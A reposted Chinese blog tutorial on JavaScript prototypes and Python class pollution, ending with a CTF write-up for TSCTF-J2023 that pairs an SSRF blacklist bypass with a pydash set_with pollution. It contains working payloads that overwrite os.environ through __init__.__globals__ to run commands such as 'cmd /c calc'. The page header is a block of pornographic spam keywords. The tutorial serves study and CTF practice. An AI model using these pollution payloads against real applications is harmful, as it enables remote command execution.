日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

【原型链污染】Python与Js

發布時間:2023/11/16 python 66 coder
生活随笔 收集整理的這篇文章主要介紹了 【原型链污染】Python与Js 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

【原型鏈污染】Python與Js

一、背景

最近在TSCTF的比賽題中遇到了Python的原型鏈污染題目,所以借此機會學習一下。說到原型鏈,最多的還是在Js中,所以就一并學習一下。(因為是菜雞所以文章可能的存在一些錯誤,歡迎批評指正)。

二、JS原型鏈簡介

原型是Js代碼中對象的繼承方式。其實和別的語言的繼承方式類似,只不過這里將父類稱之為原型。可以在瀏覽器控制臺中測試以下代碼:

const myObject = {
  city: "BJ",
  greet() {
    console.log(`Greetings from ${this.city}`);
  },
};

myObject.greet();

這是一個普通的訪問對象屬性的示例,代碼輸出為Greetings from BJ

控制臺中只輸入myObject.就可以看到該類所有的可訪問屬性:

可以看到存在一些我們沒有定義的屬性,這些屬性就是繼承自原型。

當我們訪問一個對象的屬性時,js代碼會不斷一層層向上尋找原型以及原型的原型,以此類推,最后如果找到的就可以訪問,否則返回undefined。因此稱之為原型鏈

類似于Python,所有的原型鏈存在一個最終的原型:Object.prototype。可以使用以下代碼訪問一個類的原型:

Object.getPrototypeOf(myObject);

或者

myObject.__proto__

這樣則會返回Object類。同時如果我們訪問Object類的原型,則返回NULL。

還有一個問題:如果類中定義了一個原型中也存在的方法,那么訪問時遵循什么原則呢?

運行下面的代碼:

const myDate = new Date(1995, 11, 17);

console.log(myDate.getYear()); // 95

myDate.getYear = function () {
  console.log("something else!");
};

myDate.getYear(); // 'something else!'

可以看到有限訪問類中存在屬性,這也和其他語言相同。

三、Python中的原型鏈污染

其實Python中并沒有原型這個概念,但是原型鏈污染實際上是一種類污染,就是我們通過輸入從而控制Python類的繼承,從而達到遠程執行等惡意目的,所以這里模糊將其稱為Python的原型鏈污染。

3.1 屬性與魔術方法

在利用上,和flask的模板注入類似,需要使用到Python類的一些魔術方法:__str__()__call__()等等。但是因為我們的輸入一般是str或者int型,所以直接在控制原始代碼時會出現str等類型不能作為類的問題:

class Employee(): pass

a=Employee()

a.__class__='polluted'
print(a.__class__)

上面這段代碼,嘗試將對象a的類進行污染,但是會報錯str類型不能作為類。但是a還存在一個屬性__qualname__,用于訪問類的名稱:

class Employee(): pass

a=Employee()

a.__class__.__qualname__='polluted'
print(a.__class__)

通過這樣的操作就可以實現修改a的類。

3.2 通過merge函數污染

一個標準的原型鏈污染所用代碼:

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #檢查dst對象是否有__getitem__屬性,如果存在則可以將dst作為字典訪問
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目標字典中已經存在該屬性則只復制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

這段代碼的作用是將src字典中的內容遞歸地復制到dst字典中。下面通過這段代碼進行類的污染:

class Employee: pass # Creating an empty class

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


emp_info = {
    "name":"Ahemd",
    "age": 23,
    "manager":{
            "name":"Sarah"
        },
    "__class__":{
            "__qualname__":"Polluted"
        }
    }


a= Employee()
merge(emp_info, a)

print(vars(a)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
print(a.__class__) #<class '__main__.Polluted'>

這段代碼中,通過構造__class__屬性中的__qualname__屬性的值,并使用merge函數進行合并,因為Employee類本身具__class__屬性,所以會被覆蓋,實現了對對象a的污染。因為__class__等屬性并不是Employee類本身的屬性,而是繼承的屬性,所以print(vars(a))并沒有打印出__class__的內容。

同樣,如果我們使用下面的exp就可以實現對父類的污染:

emp_info = {
    "__class__":{
    	"__base__":{
    	    "__qualname__":"Polluted"
    	}
     }
}

當然,對于不可變類型Object或者str等,Python限制不能對其進行修改。

在這種情況下,如果代碼中存在一些系統執行指令,并且merge的輸入可控,就會導致系統執行漏洞:

import os

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class exp:
    def __init__(self,cmd):
        self.cmd=cmd
    def excute(self):
        os.system(self.cmd)

a=exp('1')
b={"cmd":"ping 127.0.0.1"}
merge(b,a)

print(vars(a))
a.excute()

3.3 任意子類的污染

3.3.1 方法

上面的代碼雖然實現了命令執行,但是只是單純地對一個普通類進行了污染。此時如果我們能找到通向其他類的屬性鏈,就可以污染代碼中的任意類,包括重要的一些內置類(例如命令執行類)。

這里其實和模板注入就非常相似了,我們都知道__globals__屬性用于訪問函數的全局變量字典,通過這個屬性我們其實就可以實現一些變量的覆蓋。但是我們如何訪問這個屬性呢,這個方法可以從任何已知函數定義的方法中進行訪問。例如:

class A:
    def __init__(self):
        pass

instance=A()
print(instance.__init__.__globals__)

__init__屬性是類中常見的函數,所以可以直接用它來實現訪問__globas__變量。

但是你會說,如果沒有__init__函數怎么辦呢?這時就需要試試了,可以從基類Object中查找其子類,總歸存在一個子類是有__init__屬性的。payload:__class__.__base__.__subclasses__()

3.3.2 實例

對于這段代碼:

import subprocess, json

class Employee:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])

subprocess.Popen('whoami', shell=True) 

在這里,通過尋找屬性鏈,使用__globals__屬性覆蓋了subprocess的值,使其在cmd中執行了calc命令,實現了彈計算器。為什么需要找subprocess呢,主要原因還是因為通過這個模塊來尋找os模塊,這個才是遠程執行的要點,如果代碼已經import os了,那我們只需要通過__globals__屬性訪問即可。

3.4 通過Pydash函數污染

Pydash其實和merge函數類似,將在下面TSCTF這題中給出示例。

四、TSCTF-J2023 Python Not Node

題目給了源碼:

from flask import Flask, request 
import os
import pydash
import urllib.request

app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com" 
black_list = ['localhost', '127.0.0.1']

class Userinfo:
   def __init__(self): 
       pass
       
class comexec:
   def test_ping(self):
       cmd = os.getenv('cmd') 
       os.system(cmd)
       
@app.route("/define", methods=['GET'])
def define():
   if request.remote_addr == '127.0.0.1':
       if request.method == 'GET':
           print(request.args)
           usname = request.args['username']
           info = request.args['info']
           origin_user = request.args['origin_user']
           user = {usname: info}
           print(type(user))
           pydash.set_with(Userinfo(), origin_user, user, lambda: {}) 
           result = comexec().test_ping()
           return "USER READY,JUST INSERT YOUR SEARCH RESULT"
   else:
       return "NOPE"
       
@app.route("/search", methods=['GET'])
def search():
   if request.method == 'GET':
       urls = request.args['url']
       for i in black_list:
           if i in urls:
               return "HACKER URL!"
       try:
           info = urllib.request.urlopen(urls).read().decode('utf-8') 
           return info
       except Exception as e:
           print(e)
               return "error" 
   else:
       return "Method error"
       
@app.route("/")
def home():
   return "<html> Welcome to this Challenge </html> <script>alert('focus on the 
source code')</script>"

if __name__ == "__main__":
   app.run(debug=True, port=37333, host='0.0.0.0')

這段代碼兩個考點,一個是SSRF的URL黑名單繞過,一個就是Python的原型鏈泄露。

  • SSRF

    • 常見的方式是8進制、16進制、302跳轉等繞過,這些都被屏蔽了,最后題解說是簡單的大小寫繞過。

      但是做題的時候沒想到,所以使用的是localtest.me域名繞過,這是大佬買下的域名,訪問時其實是重定向到本機,這樣的域名還有很多。

    • 還有一個點就是需要url編碼避免參數的混淆解析,因為這里SSRF的域名也需要添加參數,所以我們要進行url編碼。

  • 原型鏈污染

    origin_user=__class__.__init__.__globals__.os.environ&info=Polluted
    

    這里因為已經導入了os模塊,所以可以直接通過__globals__進行訪問。

參考鏈接

Python原型鏈污染變體

Abdulrah33m's Blog

總結

以上是生活随笔為你收集整理的【原型链污染】Python与Js的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。